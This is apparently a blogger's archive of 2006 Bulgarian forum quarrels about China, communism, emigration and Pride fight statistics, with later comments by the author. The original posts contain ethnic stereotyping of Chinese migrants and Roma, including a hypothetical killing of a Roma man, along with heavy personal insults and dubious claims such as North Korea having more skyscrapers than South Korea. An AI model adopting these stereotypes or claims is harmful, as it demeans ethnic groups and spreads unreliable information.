Което не значи, че Китай е зле политически и икономически. Давам пример. Един китаец е тъп селянин, не е искал да се учи и е израстнал като човек, който може само да оре и да копае. Да, ама му казват авери - "Абе я да ходим в България, там ще готвим китайска кухня!" И той тръгва, наемат помещение, почват да готвят (по бТВ-то май давали китаец с много мръсни ръце как готви в БГ) и лъжат, че това е "Ориз по гуандуснки", "Зеле по съчунаски" и пр., та народът яде. По-ли е спечелил селският в БГ? ДА! Защото в Китай няма да му дадат да се прояви така. Или пък по Илиенци дето ви продават за 30 лева яке, дето тука струва 5 лева! Кой тука ще му даде 30 лева? Разбираш ли?
Не казвам, че хигиената във всеки китайски ресторант е лоша. Има си различни нива на хигиена и в китайските, и в западните, и в индийските... да не изброявам. Но примерът си е ориентировъчен и валиден не само за китайците, но и за други по-неспособни хора от всякакви националности и народности, които в чужбина имат по-висока стойност, защото са възприемани като рядкост, екзотичност, интересност... въобще ценността им се покачва заради произхода. В един неотдавнашен разговор нарекох това "Ефект на съкровището".
За политиката - ами има разни такива като например сектанти. Правят секта, лъжат, че са чудодейни лечители, екстрасенски и пр. и Партията ги подгонва. Да, ама като избягат в САЩ там може да си всякакъв "магьосник" и никой няма да ти каже нищо. И "лекуваш" с енергия ЦИ, с енергия "ПРЪДНИ" и какво ли не... Като има балъци да се връзват, като има "демокрация".
Псевдонаучността, голите твърдения (в които влиза почти всичко религиозно) наистина са лоши за човешкото здраве, прогрес и пр. От секти полза няма, напротив. Аз съм за плурализма и съм на мнение, че може да им се дава трибуна, но не и да се заставят хората и учените да им мълчат, да не спорят с тях, да ги приемат едва ли не.
"Бягали са от комунизма и социализма."
Много плоско обобщение. Ако ти примерно заколиш някой циганин, дето е искал да убие майка ти и го заровиш, след което избягаш в чужбина , за да не го лежиш по затворите, значи ли, че си избягал от капитализма и демокрацията?
ЗНАЕШ ЛИ ПО КОЛКО РАЗЛИЧНИ МОТИВИ БЯГАТ КИТАЙЦИТЕ, за да ми говориш, че избягали от "социализма"?! Ти знаеш ли, че има селяндури, дето даже не знаят, че Китай е социалистически, бе?
Съжалявам за циганския (ромския) пример, ако някой го приема за обиден, пояснявам че е писано преди доста години, когато бях повлиян от циганофобията в малка или по-голяма степен, но постепенно осъзнах, че всяка фобия, шовинизъм не са добро нещо, тъй-като слагат под общ знаменател всички от даден етнос и така не оставят място за обективност, нито за развитие на добрите хора от този етнос! По-сетне съм писал доста в защита на всякакви малцинства, етноси, народности, вкл. и на циганите. А колкото до този пример - бях чувал във влака някаква такава история, та затова и съм писал. Не знам доколко е вярна и дали въобще има нещо реално в нея. Примерът ми беше за мотивациите - че примерно някои убийци бягат в чужбина, но то е, заради убийството/убийствата, а не че протестират срещу системата/строя.
А за Китай - в днешно време не само, че е трудно да се говори, че де факто е социалистически, а и че е република. Неофеодализирана държава, неомонархична.
"Това е правило без изключение: хората бягат от комунизма и социализма."
И как ще обясниш тогава това, че много американци бягат в други държави - има избягали във Виетнам, Китай, че даже и България!!!?!!!
(Просто човекът не е осъзнавал цялата палитра от мотиви. Не всеки е политически емигрант. Има си ги и политическите, но повечето са икономически, някои са климатични, трети са културни и пр. Има си и смесени - например културно-политико-икономически. Всичко се определя от водещите мотиви.)
"От източен Берлин в западен, от северна Корея в южна, от великата съветска страна където им видят очите."
За Северна Корея - ето го плиткоумното съждение! СЕГА ЩЕ ТИ ПОКАЖА КОЛКО ГОЛЯМА ГРЕШКА ДОПУСКАШ И КАК ПОДВЕЖДАШ ХОРАТА ПОЗОВАВАЙКИ СЕ НА ЦРУ:
Най-големи емигрантски групи, бежанци в Китай:
refugees (country of origin): 299,287 (Vietnam) estimated 30,000-50,000 (North Korea) (2005)
А СЕГА, ДЕ!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Оказва се, че Севрнокорейците в тежките години са избягали в Социалистически Китай! А да не ти говоря днес колко южнокорейци се натискат да живеят тук! Ето защо, аз като най-подготвен тук по темата, предлагам, преди да кажеш нещо относно Изтока да се консултираш с мен, понеже иначе виждаш в какви неприятно положения изпадаш.
От СССР бягали, от Източен Берлин бягали - ами това са си техни неща, аз отговарям за Изтока!
(Е, като цяло, наистина бягащите от Изток на Запад са повече от тези, които отиват от Запад на Изток. Тук признавам, общо взето, че човекът е имал основание солидно. В днешно време, още повече - има си все още хора, които дори в Русия отиват, но повечето са тези, които бягат оттам.)
"Стига да се измъкнат от КГБ, стига да оживеят след поредната културна революция"
Абе културна революция... Все едно аз да ти говоря за България по време на Османското иго. Гледай сега какво е в Китай. Сега има неща, дето по време на Културната революция бяха немислими. Представяш ли си нещо такова по време на Културната:
(http://news.xinhuanet.com/english/2005-04/18/xinsrc_2720402181136312375734.jpg)
(И за съжаление, всичко отново регресира, неофеодализира се... Язък! Голям язък!)
" стига да успеят да минат границата. И къде отиват? При гнилия капитализъм."
Да и някои после се върнаха разочаровани.
"И какво ми показваш ти? Рекламни материали"
Тъпотия на квадрат! Какви рекламни бе?! Ами напиши името на един град в търсачките и си намери снимки самичко! Искаш ли да ти покажа снимки, които аз съм правил или някой американец?! Вие сте толкова бедни хора, че елементарни снимки ви се струват като реклами, да му се не види!
", чиято цел е да заблуди, че социализма работи, че всичко е прекрасно, че се диша свободно в такава държава и колко са щастливи децата там."
Ами да, има какво да ядат, не ровят по боклуците, не ги бият циганчетата, не ги е страх нощем, не ги контролира НАТО, не слушат новини на турски, не ги лъжат по избори и пр. А ти си мисли, че сме нещастни. То българите винаги се усещат със закъснение. Едно време, когато в САЩ знаеха какво е карате и кунг-фу, в БГ си мислеха, че има само борба, щанги и бокс!
Пояснения - не бива да стоварваме агресията само върху циганчета или някои други - япончета, турчета, ескимосчета... Не е коректно просто - всяка агресия трябва да се спира и наказва! За спокойствието през нощта, да в Китай беше по-спокойно и все още си е, но след авантюризмите на неофеодализацията, т. е. на неоимператоризирания, престъпността скача и в Китай. За НАТО - след като видяхме какви ги вършат, особено Русия - добре, пак казвам, че го има това НАТО! За новините на турски - нямам против, но съм и за новини на други езици, които са представени от малцинства, т. е. да не са само турците и турскоговорящите облагодетелствани. Примерно защо да няма и на арменски? Нали арменците не са никак малко? За изборите, ех, колкото и да имаше нарушения (вкл. лъжите с купени гласове, не само пропагандните лъжи, за които съм говорил), много е по-добре да знаеш, че има поне шанс да избираш! И това го осъзнаваш едва, когато ти се самонатресе някой некадърен неомонарх, който става несменяем - Кимовете, Путин, а вече и Си...
"Само дето не си сложил снимката "Сталин и децата"."
Жалки опити за ирония!
"Чувал съм че в Пекин много жилища нямат тоелетни и хората ползват само обществени."
Италианците са чували, че в България ядат хора. Знаеш ли колко ми дреме какво сте чували? Не чувайте, а ЧЕТЕТЕ и се ОБРАЗОВАЙТЕ, за да правите разлики между чуванките!
Това "тоелетни" е интересно. Явно имал предвид "тоалетни". :) Наистина, някои слухове са истински пресилени. Чак пък да нямаш тоалетна - не, но на север, по-рано, нямаха бани в повечето от старите и ходеха само на обществена. На юг са по-чисти, имат си и се къпят ежедневно. Та не е проблемът в това - проблемът е в лошото, нискокачествено строителство, особено по отношение на шумоизолация, течове... А най-големият е това, че вече няма избор - неомонархизъм и точка.
"Действително в 2-3 големи китайски града средната заплата е съизмерима с тази от останалия свят (пак имам предвид гнилия капитализъм, а не острова на Фидел)."
А ЦЕНИТЕ НИ?
(Винаги трябва да се държи сметка и за цените. Защото то може да получаваш 1 милион евро, а една франзела да струва 100 000 евро. И тогава какво излиза? Много ли ти е голяма покупателната способност?
А, конкретно за Китай днес - ами няма, в повечето сектори, високи заплати. Цените са от поносими до средни, за повечето неща, но изключваме жилищата абсолютно.)
"Но като излезеш от там и отидеш в провинцията там как ли е."
КЪДЕ ТОЧНО?
"Всъщност единственото което съм виждал е от някои сайтове с мото "Only in China" гледки от които не знаеш да се смееш ли или да плачеш."
Това значи "Само в Китай". Някои са неправилни, защото не е само в Китай това, което е снимано. Има си и уникални, точно китайски неща, спор няма. Някои са добри, някои са смешни, трети са трагични...
А в западни сайтове слагат цигани и пишат "БАЛГЕРИЪНС" смешно ли е?
Нямам против да пишат за циганите, че са български граждани, но точно "българи" - не е правилно, защото първо те са си цигани, а не българи, нито корейци или естонци, нали? Второ - не е правилно, защото чужденците си мислят, че всички в България са цигани. Най-доброто е да има думи като "българи" и "българиянци", т. е. хора, които са си с български паспорт/лична карта, но не са етнически българи. Така няма да има грешки, неточности.
"Така че 50 небостъргача, половината направени от американски, европейски японски и корейски (южна, не северна) компании не са достатъчни."
ХАХАХАХАХА!!!! Китай последните години използва 50% от строителните материали на света. ФАКТ! И си мислиш, че са само 50?!?!?!
А за Северна Корея - естествено, че не знаеш, че са с едни от най-добрите архитекти на света! Знаеш ли, че там има повече небостъргачи, отколкото в Южна?
Искаш ли снимка от Северна Корея?
Автобуси:
(http://www.wuhancars.com/_bentoo/img/newsimg/20051111/adeabe29c19f4c4cbb3945325fad0760.jpg)
Сгради:
(http://hongdou.gxnews.com.cn/uploadfiles/images/2005/8/22/20058228274948.jpg)
" Това не е цялата страна.
Хубави снимки си публикувал, а имаш ли с партийните ръководители. С великия кормчия. Виждам колко са щастливи децата от тези снимки. Длъжни са да са щастливи. Защото ако не са щастливи..."
Aз съм учител в Китай и мога да ти кажа, че са много по-щастливи и игриви от българските, понеже са облечени, нахранени, не ги бият и не се наркоманизират, заблудени човече!
Доуточнения - децата са си деца и навсякъде има и щастливи, и плачещи, всякакви темпераменти и характери. А китайските - след непредставимите и накрая истински налудни локдауни, и родители, и деца доста се изнервиха, някои решиха да емигрират точно по причина, че се нарушава нормалното обучение и искат децата им да се дипломират в по-нормална среда.
За побоищата - има си ги, но не са толкова масови и чести както на Запад. Наркотиците - още по-малко, защото това се контролира здраво.
"Така щастливи бяха хората от снимките и рекламните клипове от СССР преди 20 години. Щастливи, усмихнати, с космонавти в орбита, но без храна в хладилника.
"
Дрешките дето ги купувате и обувките в БГ са основно то Китай и са евтини, сети се колко струват тук, щом като при вас са евтини. И си мисли, че гладуваме! Ей сега отивам да си купя малко ананасчета, мандаринки, лиджита и кокосови сладки, а ти си яж кашичката с кисело мляко и хляб!
Поздрави!
(Както по-горе току-що отбелязах, че насилието в училищата и наркотиците са доста по-малко от тези на Запад, включително в България, така и обективно искам да отбележа, че някакъв глад няма в Китай, макар и да има все повече безработни, обеднели, обедняващи хора. Все още се намира евтина храна, както и някакви дрехи.
Обективност до край.)
-
Ето го и цялостното копие. Запазено било в друг файл от 2006 година. Каквото има и мога - всичко споделям, архиви ценни за историята са това! :)
"Добруджански, много изпадна, бе , синко! Като видя, че с Гоми правят почти 40% успеваемост реши да го махнеш, че да паднат:))) Ама ти си бил наистина жалко човеченце. Я да сметнеш успеваемостта на любимите ти бразилци, тогава?
Бушидо 1:
4 победи - 3 загуби
Бушидо 2:
3 победи - 1 загуба
Бушидо 3:
2 победи - 2 загуби
Бушидо 4:
3 победи - 3 загуби
Бушидо 5:
2 победи - 0 загуби
Бушидо 6:
5 победи - 2 загуби
Бушидо 7:
0 победи - 4 загуби
Бушидо 8:
2 победи - 2 загуби
Бушидо 9:
2 победи -1 загуба
41 участия 23 победи. Това прави 56 %. И ти хубаво се радваш, ама ДЕ ДА НЕ БЕШЕ СБЪРКАЛ ЗА ЯПОНЦИТЕ!
"Бушидо 1: 1 победа - 5 загуби; ВЯРНО !
Бушидо 2: 3 победи и (а, изненада!)6 загуби; НЕВЯРНО! 4 победи !
Бушидо 3: 5 победи - 4 загуби; НЕВЯРНО! 6 победи!
Бушидо 4: 4 победи - 4 загуби; НЕВЯРНО! 5 победи!
Бушидо 5: 1 победа - 4 загуби; НЕВЯРНО! 2 победи!
Бушидо 6: 1 победа - 6 загуби; ВЯРНО!
Бушидо 7: 4 победи - 5 загуби; ВЯРНО!
Бушидо 8: 3 победи - 4 загуби; НЕВЯРНО! 4 победи!
Бушидо 9: 6 победи - 5 загуби; НЕВЯРНО! 7 победи!!!
Бушидо 10: 3 победи - 5 загуби;
"
Хайде сега изчислявай! ОТ ОБЩИЯ БРОЙ НА СРЕЩИТЕ, КАКТО ПРИ БРАЗИЛЦИТЕ ДА ВИДИМ % на печелившите!
34 победи от 76 срещи са 45 %! Това значи, преведено на езика на по-ограничените хора като теб, че на 2 - 3 срещи печелят една! ( В "Бушидо")
Е, трябва ли да се откажат японците да пращат японци на Прайда?
_________
За статистиката на нокаутите - много си се изложил!
ДАН БОБИШ и Гари Гудридж са японци?! Ами що имат неяпонски имена тези пичове- я ме светни малко за биографията им!
И какво от това, че Сакураба е с най-много нокаути, да не би да няма достатъчно победи?
И ЕТО КАКВО ТИ Е БИЛО НЕУДОБНО ДА ПОДАДЕШ ТУК - СЪБМИШЪН ПОБЕДИТЕ:
FIGHTER TOTAL
Kazushi Sakuraba 11
Antonio Rodrigo Nogueira 8
Hidehiko Yoshida 5
Heath Herring 5
Fedor Emelianenko 4
Mark Kerr 3
Paulo Filho 3
Choi Mu Bae 3
Alistair Overeem 3
Ikuhisa Minowa 3
Naoya Ogawa 3
Igor Vovchanchyn 3
Akira Shoji 3
Rickson Gracie 2
Sergei Kharitonov 2
Takanori Gomi 2
Antonio Rogerio Nogueira 2
Aleksander Emelianenko 2
Murilo Rua 2
Mario Sperry 2
Daijyu Takase 2
Ryan Gracie 2
Ron Waterman 2
Enson Inoue 2
Fabricio Werdum 2
ТА КАКВО ЗА САКУРАБА? Ще слушаш Курултаев, дечко! Сакураба може да е ял бой, но много повече е побеждавал!
Довечера по останалото, синко!
Сайонара! ( На татарски е "Саубул")."
Големи препирни бяха. Жалко че не са запазени всичките. Е, понякога се излизаше от добрия тон, но то си беше реципрочно. Сега вече всички сме порастнали, големи мъже, да се надяваме, че и сме възпитани по-добре. :) Аз лично се стремя да ставам "все по-добра версия на себе си", както биха се изразили някои.
-
Точно като бях си помислил, че са се изчерпали, намерих още политически от 2006-та година. ;D
"СОЦРОМАНТИСТИЧЕСКИ"??? ТОВА ПЪК КАК ГО ИЗМИСЛИ?"
Колчо, за разлика от теб, чете и може да измисля, да преценява, да анализира,...все неща, които са ти чужди. Много вярно те е диагностицирал. Завиждам му благородно, че му отне по-малко време отколкото на мен.
"НЕ СЪМ ИМАЛ ЧЕСТТА ДА ИЗЛИЗАМ ПО ТРИБУНИТЕ."
За това лично те защитих и гарантирам, че не си.
"И АЗ "НЕАМ ДУМИ" ЗА ТВОЯТА ПРЕДСТАВА:))"
Няма и да имаш, ако го караш с тези темпове.
"ТОВА ГО КАЖИ НА ГЕСЕР. ТОЙ ЕДВА ЛИ Е ОБЪРНАЛ ВНИМАНИЕ, КОГАТО МУ КАЗВАМ И АЗ И ТИ, ЧЕ КОМУНИЗМА САМ СЕ ПРЕЕБ@, НО НЕ С ПЕРЕСТРОЙКАТА А МНОГО, МНОГО ПРЕДИ ТОВА."
Ти виж по-късно какво е казал човекът, а то е нещо много по-важно!
"1. АЗ НЕ СЪМ КОМУНИСТ!!!
2. КАКЪВ СТИЛ?"
Ванго, много си се изнервил, бе! "Аз не съм комунист" с големите бувки и с 3 удивителни. Ами поне на Кирил Маричков песничката да си цитирал, та, мигар си по-убедителен. Ти си производно на комунизма и толкова повлияно от най-лошите му аспекти, че човекът се е объркал. Мимикрия някаква... А за стила - няма и да разбереш, то се очакваше.
"2."ИСКАЩИ" МЕХАНИЧНА ГРЕШКА"
"3. "ВЪОРАЖЕН" - ГРЕШКА НА КИРИЛИЗАТОРА"
Яяяяяяяяяяяя, "Латинизаторът" вече е нормален , т. е. си е "Кирилизатор". Ама пак прави грешки... НИЩО, ВАНГО! Аз му казах - ти си толкова грамотен, че само един лош, гаден и ограничен Кирилизатор може да те спре (не случайно го пиша с главна буква!).
"4... ПИСАХ ЛИ ТИ НЕЩО ЗА МЕХАНИЧНИТЕ ГРЕШКИ?"
Ама той вече говореше за смисъла, не за грешките... Но ти не можеш да разбираш.
"5. А НЕ Е ЛИ? 2 000 000 УНГАРЦИ ЕМИГРИРАТ ТОГАВА, 1 000 000 СА ИЗБИТИ. КОЛКОТО ЮГОСЛАВЯНИ ИЗБИ ХИТЛЕР ПРЕДИ ТОВА В ЮГОСЛАВИЯ"
Ванго, ако някой ти напише, че 50 милиона унгарци са избити ще повярваш ли?
Като пацифист съм против дори един човек да бъде убиван! Имал съм предвид нещо друго - числата винаги са такива, че в най-добрия случай са приблизителни, а в общия случай са с големи разминавания, според страната, която ги цитира. А, че жертвите на човеконенавистническите режими са понякога милиони е вярно и е ужасно.
"АФГАНИСТАН? КАКВО Е СТАНАЛО ВСЪЩНОСТ В АФГАНИСТАН? НЕ ЗАГУБИ ЛИ РУСИЯ ТАЗИ СРАМНА ВОЙНА?"
[smile][smile][smile] ОУ, ЙЕ!!!! Аз му казах на Колчо да не повдига въпросът за Афганистан пред тебе, защото ще има хитове, но беше късно... Ех, Ванго изложи се отново...
Вероятно е ставало дума, че по онова време имаме СССР, а не само Русия, който воюва в Афганистан + това че все пак за един дълъг период от време СССР си е в Афганистан и го контролира, има си про-съветски ръководител - Бабрак Кармал и пр. Е, в края на краищата, СССР се изтегля. Нещо като по-сетне, когато САЩ също се изтеглят оттук и оттам. Това обаче не е някаква класическа загуба (например, когато има пълен разгром както се е случвало с Аржентина, Германия, Япония, Китай и т. н.)
"КАКО Е СТАГНАЦИЯ? НА КОГО Е И ВЪРХУ КОГО СЕ УПРАЖНЯВА?"
Нема КАКО, нема ВАКО, нема БАКО ! :))))))))))))
Како е стагнация? Е па добро е! :)))))))))))))))) Милият Ванго не е разбрал критиката и върху това нещастно изречение! Боже, ще ме скъсаш, бе, човек!!!!!!
"ЕСТЕСТВЕНО, ЧЕ ВИНОВНИКА ЗА РАЗПАДАНЕТО НА КОМУНИЗМА Е САМО И ЕДИНСТВЕНО ЕДИН!"
И от мене 2 забележки:
а/ Комунизмът не се разпадал изцяло, алтернативните му варианти си съществуват и част от тях са по-добре от Източна Европа няколко пъти!
б/ Като си толкова с капаци, що не се замислиш, че на тази система й противостоеше друга система и, че имаше един Рейгън, примерно.
Е, в днешно време може да го броим за почти несъществуващ, освен номинално. По онова време имаше някаква надежда, сега - не виждам вече. Особено след рефеодализирането, реимператоризирането в т. нар. все още "КНР".
"САМАТА КОМУНИСТИЧЕСКА ИДЕОЛОГИЯ, ПИЧ! БЕ НЕГОДНА ЗА РЕФОРМАЦИЯ И РАЗВИТИЕ!"
А защо в историята й са известни няколко реформации? И защо все още се развива? Щото Ванго е сънувал ли?
"ПОД ВЛИЯНИЕТО НА ВЪНШНИ И ВЪТРЕШНИ ФАКТОРИ, ИДЕОЛОГИЯТА САМА РАЗРУШИ ОСНОВИТЕ СИ В РЕАЛНИ УСЛОВИЯ!"
Това клише си го запази за трибуната, която ти се присънва.
" ИДЕОЛОГИЯТА НИКОГА НЕ Е ПРОГРЕСИВНА ПО ХАРАКТЕР В РЕАЛНОСТТА! "
Всяка една идеология ли? Я кажи пак как идеология = насилие, че да изпопадаме от смях!
"ЗАЩО? АМИ ЗАЩОТО Е АБСОЛЮТНО НЕПРИГОДЕНА ЗА ПРOМЕНИ И РЕФОРМАЦИИ!"
Ванго, ти си като печатарска машина за грешки!
"А ЕДНО НЕЩО, КОЕТО НЕ СЕ ПРОМЕНЯ, ИЗОСТАВА И ЗАГНИВА! ТОЛКОВА Е ПРОСТО!"
ЗАГНИВА?????????????????????? Колчо, аз казах ли ти? Загниваме, Световни строеве ни се привиждат, исторически необходимости... Този "младеж" като нищо е някой неуспяло ВКР, дето се прави на младок, какво мислиш за тезата ми? Изостава и загнива... тц-тц-тц... БАШ КАТО "ЗАГНИВАЩИЯ КАПИТАЛИЗЪМ", бе!
Е, по-сетне се посближихме, човекът се оказа наистина младеж, а след това и започна да говори по-образовано, да спори по-качествено. Доста се разви в добрия смисъл. Жалко, че после изгубихме връзка.
А ТИ ПО ПОСКИТЕ ВЪРПОСИ:))
Какви са тези "ПОСКИ" въпроси, бе, Ванго? Кирилизаторът?
"Недей!"
"ТИ НЕДЕЙ, СТАВАШ СМЕШЕН:)"
Ааа, той е всичко, но не и смешен. Ти си първенецът по разсмиване. Я дай нещо за Монголия, че там най се дъниш (за Афганистан не искам, че ще почна да хълцам от смях.)
"ИМЕННО!"
Именно, ама като е толкова именно, защо не го разви като теза, за да не се ядосват хората с тебе?
""ГОРБАЧОВАТА ГЛУПОСТ" НЕ Е НЕЩО ФЕНОМЕНАЛНО - РЕФОРМАЦИЯТА НА ОБЩЕСТВЕНИТЕ ПОРЯДКИ И ЗАКОНИ Е ЧАСТ ОТ ЕВОЛЮЦИЛАТА НА ЧОВЕЧЕСТВОТО!"
Абе каква ЕВОЛЮЦИЛА, БЕ?!!!!!!!! Няма таква дума! Ей, селски, я да вземеш да се стегнеш, че ще ти дам една еволюцила като грабна някое дърво! Нещо контрареволюцията я привиждаш като прогрес, така ли?
Това с дървото, просто като хумористичен лаф. Нямам никакви такива примитивни агресивни желания. Да се знае.
"И АКО НЕ БЕШЕ НАПРАВЕНА ТАЗИ "ГЛУПОСТ", В СTРАНИТЕ ОТ БИВШИЯТ СОЦБЛОК ЩЕШЕ ДА ПОСЛЕДВА НЕЩО ПО-СТРАШНО И ОТ КЪРВАВАТА ГРАЖДАНСКА ВОЙНА В РУМЪНИЯ ПРЕЗ '89 Г."
И какво от това? Опитът с Унгария и Чехословакия не показва ли, че на СССР, ако има корав водач не му дреме и се справя?
(Тук това е писано като доказателство, че няма такива неща като "историческа необходимост" и ако някой реши, може да те върне и в каменната ера, стига да има властта и малоумието! Виждаме и в днешно време какъв регрес се случва в Русия, отчасти - в Китай, да не говорим за Северна Корея... неофеодализирани държави.) В този смисъл, а не че оправдавам насилието (напротив, все повече ценя свободата и истинската демокрация, независимо дали ще е "народна демокрация" или "капиталистическа демокрация" - просто е добре да не става така един-единствен да овладява цялата власт и то доживотно, защото когато не е много нормален и/или кадърен, нещата стават много, много зле.)
"ТАЗИ ПЕРЕСТРОЙКА АКО БЕШЕ СТАНАЛА 2 ДЕСЕТИЛЕТИЯ ПО-РАНО, МОЖЕБИ СССР ОЩЕ ЩЕШЕ ДА СЪЩЕСТВУВА."
Алоооооооооооооооооооооооооооооооооооооо, нали в историята нямаше "ако" и, който си служеше с такъв тип разсъждения беше непрофесионалист? А ти нали си нашата "историческа мисъл", не се "излагай"!
"ПРОСТО ПЕРЕСТРОЙКАТА МНОГО ЗАКЪСНЯ! КОГАТО ВЕЧЕ НАРОДИТЕ В БЛОКА РАЗБРАХА, ЧЕ ИКОНОМИЧЕСИ СИСТЕМАТА ОТДАВНА БЕ УНЩОЖЕНА."
Що да е била унищожена? Унищожиха я, специално в БГ, като дойдоха демократите.
(Това е било малко пресилено, но битуваше такова становище тогава. Сега, от позицията на времето, както и с повече знания, включително и от истински комунисти/социалисти като Жан Виденов, който каза, че България е била субсидирана икономика (от СССР), може да си позволим да кажем, че нещата не са само по вина на демократите; както и, че демократите имат принос във възстановяване на икономиката. Нещата са комплексни и не може да се посочи само един виновник, пък бил той и масов.)
"ГОВОРИХ ЛИ ТИ НЕЩО ЗА РЕФОРМАЦЯТА И ЕВОЛЮЦИЯТА?"
Не.
"ХАХАХАХАХАХА!:)))
1. КОЛКО КИТАЙСКИ МОДЕЛА НА СОЦИАЛИЗМА ПО3НАВАШ?"
Тц-тц-тц, колко си зле, човекът ти говори за алтернативата като такава, ти го питаш колко модела има тя?! Абе ти вярно не си в ред, нали?
"2. КАКВО МУ Е ОБЩОТО В ИКОНОМИЧЕСКИ АСПЕКТ НА КИТАЙСКИЯТ КОМУНИЗЪМ ДНЕС СЪС ТОЗИ НА СССР?"
Ами нали точно това ти казва човекът, че е АЛТЕРНАТИВЕН МОДЕЛ, БЕ! И затова се погнуси да ти отговаря повече, понеже си неразбран и не схващаш елементарни примери, мисли и идеи!
(То, че си беше - беше. Макар и не съвсем нов модел - следваше Югославския пазарно-социалистически модел до голяма степен. В днешно време - остана само номинално, като име. Тези дни втори случай - абсолютно несоциалистически от страна на местна управа: дадена строителна фирма иска да продава апартаментите си евтино. Местната управа казва, че не може така, трябва да продават скъпо! Много несоциалистическо, дори смешно, защото капиталистът иска да продава евтино, а социалистическото ужким ръководство не му позволява да е поне малко социалистически (сигурно, защото ще има намалеят приходите от такси, данъци, знам ли?) Затова ако днешният неофеодализъм се приема за социализъм, то ще е само или доста условно.
"3. В КИТАЙ СИСТЕМАТА ОТДАВНА ПАДНА! Я МИ КАЖИ, КОЯ ЕВРОПЕЙСКА СТРАНА ИМА ПОЧТИ ИДЕНТИЧНАТА ИКОНОМИЧЕСКА СИСТЕМА С КИТАЙ И ЩЕ ТЕ ПРИЗНАЯ!"
Ето, ако това изречение някой успее да го декодира и го свърже в контекста ще го възнаградя подобаващо!
(След като един човек пое пълен, абсолютен контрол над Партията и държавата, т. е. превърна всичко в абсолютна неомонархия, то може да се съглася, че "системата падна", но не отдавна, а неотдавна.)
"АМА НА ТЕБ ЧАК СЕГА ЛИ ТИ "ЗАМИРИСА"??? ТА НИЕ ЗАГУБИХМЕ СТУДЕНАТА ВОЙНА, БЕ БРАТЛЕ! ЕСТЕСТВЕНО Е, ЧЕ СМЕ В СЪСТОЯНИЕ НА "СЛЕДВОЕННА КАТАСТРОФА"!"
Ама нали БГ е съюзник на САЩ и е в НАТО и е френд на ЕС? Какви загуби? Всеки те лъже, че всичко е много френдли, нали тъй?
(Е, лека-полека, си дойдоха нещата на местата. Победените станаха съюзници и са, общо взето, по-добре от победените, но останали несъюзници. Прост пример - България, макар и често на последните места в ЕС по това и онова, сравнена със сегашните Сърбия, Беларус, Украйна, Молдова...)
"ПОБЕДЕНИТЕ ТРЯБВА ДА СИ ИЗПЛАТЯТ КОНТРИБУЦИИТЕ, ВСЕ ПАК!:)"
Така била значи работата. Да, ама това не е ли опит за прикриване на синия грабеж, малко а?
(По-сетне се появиха и други мнения, че нямало такива неща, че всъщност имало червен грабеж... доста противоречиви мнения, а доказателства - почти никакви. Та, като човек, който вече много повече държи на истината, доказателствата и прочие, не искам да обвинявам с лека ръка сините.
А това за изплащане на контрибуции - звучеше наистина неприятно най-малкото, защото Студената война (или както аз я наричам "Първата Студена война", защото отдавна сега живеем във "Втората Студена война", която доста започна да се сгорещява след агресиите на Русия и на други), не е била официална война, не са били подписвани капитулации и т. н.)
"МОЯТ АНТИКОМУНИЗЪМ Е ЕЛЕМЕНТАРЕН, ЗАЩОТО КОМУНИЗМЪТ Е ЕЛЕМЕНТАРЕН"
Не е затова, а защото ти си елементарен, човекът те е оценил от раз!
"1. ИКОНОМИЧЕСКИ НЕГОДЕН ЗА РАЗВИТИЕ"
Което не пречи на Китай да е една от водещите икономики в света, а Куба и Корея да имат позитивен растеж даже в условията на ембарго!
(По-добри времена бяха от настоящето. Това със сигурност.)
"2. ПОЛИТИЧЕСКИ НЕАДЕКВАТЕН И НЕХУМАНЕН"
Адекватен на какво? Конкретизирай и веднага ще ти посоча капиталистическа неадекватност от по-голям ранг. За хуманност не ми говори, точно сега си в страната на Инквизицията и Франко, хуманисте!
"3. ОБЩЕСТВЕНО НЕЗРЯЛ "
Глупост на хиперкуб! :)))))))
"4. ОСНОВАН НА УТОПИИ"
Като неолиберализма ли, бе, сладур? ;)
5. ОТРИЧАЩ ЦЕЛИ ОБЩЕСТВЕНИ СЪСЛОВИЯ
Отричат се основно експлоататорските съсловия. Не е голям проблем.
"6. МИЛИТАРИСТИЧНО НАСТРОЕН"
Колкото НАТО или по-малко?
(В днешно време НАТО наистина е с пъти по-хрисима, цивилизована организация, отколкото Русия и Северна Корея на първо място, следвани от Иран.)
"7. ДУАЛИЗЪМ - ЧЕРНО-БЛЯЛА ПРЕДСТАВА ЗА СВЕТА - "АКО НЕ СИ С НАС, СИ ПРОТИВ НАС"
Това ли е дуализъм, бе, Ванго?:)))))))))) Хахахахаха! Иначе - ако не си с нас... си против нас, това не е ли тактика на Буш Малдши? Може би той е комунист? Абе щом Монголия е социалистическа, какво му пречи на Буш да е комунист? А Клинтън може да е от ВМРО! (Хилъри пък ще да е от БНРП, а пък Барбара може да си е чиста фенка на Вoлен Сидеров!). В света на Ванго - няма невъзможни неща. VANGO'S WORLD! YEAHHHHHHHHH!
"8. ПСИХОЛОГИЧЕСКИ МАНИАКАЛЕН И В ОПРЕДЕЛЕНИ ФАЗИ - ДЕПРЕСИВЕН;"
Тези циклофрении ги препиши на Западния капитализъм.
"УБЕДЕНИЯТ КОМУНИСТ Е АГРЕСИВЕН И ИЗБУХЛИВ"
КАТО ЖОРЖ ГАНЧЕВ (дето е един от съоснователите на СДС) или като ИВАН КОСТОВ - циганина?
(Правя пояснение, че за Иван Костов се говореше, че е циганин. По-късно някои писаха, че е наполовина циганин, други казват, че не е. Просто да се знае. Иначе, етносът на човек няма значение, ако е добър, полезен, образован и пр. Костов, с годините, се доказа че е добър и полезен в много неща, доста образован, така че дали е циганин, дали е грък или канадец, няма абсолютно никакво значение!)
"ЗЛОБЕН"
Като Филип Димитров или повече?
(По онова време още не бях видял какви много по-злобни и избухливи хора могат да се появят в политиката, та тези съм ги давал като пример за антикомунистическа злоба, агресивност и избухливост. На фона на разни настоящи политици, включително и от партии, които са по-близки до моя светоглед, признавам че са доста учтиви, цивилизовани и прочие.)
"НЕАДЕКВАТЕН СПРЯМО ОБЕКТИВНАТА ДЕЙСТВИТЕЛНОСТ"
Като тебе или повече (Ох, то повече не може, май!)
", ПОДДАТЛИВ НА МАНИПУЛАЦИИ,"
С 2 "Д"? или само с 1 "Д"? Податливи на манипулации са само Ванговците.
"УПЛАШЕН."
Ама много, ще знаеш :))))))
